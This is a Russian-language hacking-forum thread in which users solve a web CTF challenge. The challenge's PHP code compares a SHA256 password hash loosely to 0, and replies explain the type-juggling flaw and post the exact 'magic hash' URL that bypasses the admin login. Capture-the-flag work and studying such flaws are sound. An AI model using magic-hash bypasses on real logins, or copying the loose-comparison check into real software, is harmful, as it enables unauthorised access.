Просмотр полной версии : CTF // Web помогите с решение
Всем привет! Возникли трудности с решением CTF по этому адресу - http://ib-sec.pro:8009
Текст задания звучит так: Админ спрятал свой грязный секрет и надежно все защитил. Можно ли узнать секрет админа?
Как я понял, используется уязвимость CRLF, так же в разметке есть подсказка, если добавить к адресу /?source, то он показывает исходный код сайта, в котором есть php
$check";} ?>
На этом я зашёл в тупик, пробовал по разному вводить URL запросы, за 3 дня так и не смог найти решение, очень прошу, помогите, пожалуйста
if ($username == 'admin' && $password == 0){
include'./flag.php';
Мне кажется это и есть ответ, пробовал?
Здесь представлена уязвимость type jangling характерная для нестрогого сравнения в php если кратко, то тебе нужно найти такой пароль, чтобы первый символ его хеша начинался с 0
PayloadsAllTheThings/Type Juggling/README.md at master · swisskyrepo/PayloadsAllTheThings
A list of useful payloads and bypass for Web Application Security and Pentest/CTF - swisskyrepo/PayloadsAllTheThings
github.com
realisationz
24.02.2025, 13:47
http://ib-sec.pro:8009/?username=admin&password=a, get запрос -
Код:
$password = hash("SHA256", $_GET["password"]);
if ($username == 'admin' && $password == 0) {
include './flag.php';
}
sl1 сказал(а):
Мне кажется это и есть ответ, пробовал?
Пробовал, но перед отправкой пароля он его хэширует, слабым сравнением тоже пытался, чтобы хэш начинался с 0e и цифрами далее, но не помогло
https://forum.antichat.xyz/attachments/4939950/1740476011448.png
Не знаю, что это может значит, но во кладке Network ко всему этому добавляется :5, возможно из-за этого обычные значения, которые при хэшировании для слабого сравнения равны 0 не работают
Возможно действительно нужно подобрать нужное значение, но я не знаю как
Gustavo Fring
25.02.2025, 14:01
http://ib-sec.pro:8009/?username=admin&password=34250003024812
Magic hash
N1GGA сказал(а):
http://ib-sec.pro:8009/?username=admin&password=34250003024812
Magic hash
Вау! Спасибо вам за помощь
N1GGA сказал(а):
http://ib-sec.pro:8009/?username=admin&password=34250003024812
Magic hash
Мне тоже надо всю работю выполнить, смотрю желающие есть))
Человек постом ниже меня, дал очевидный и правильный ответ, и суть рассказал и решение точно такое же дал... но видимо надо именно так)))
http://ib-sec.pro:8009/?username=admin&password=34250003024812
Amarant сказал(а):
Вау! Спасибо вам за помощь
тебе нужно было внимательно прочитать про эту уязвимость, и вставить не сам хэш и строку, которая приводит к образованию такого хэша
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot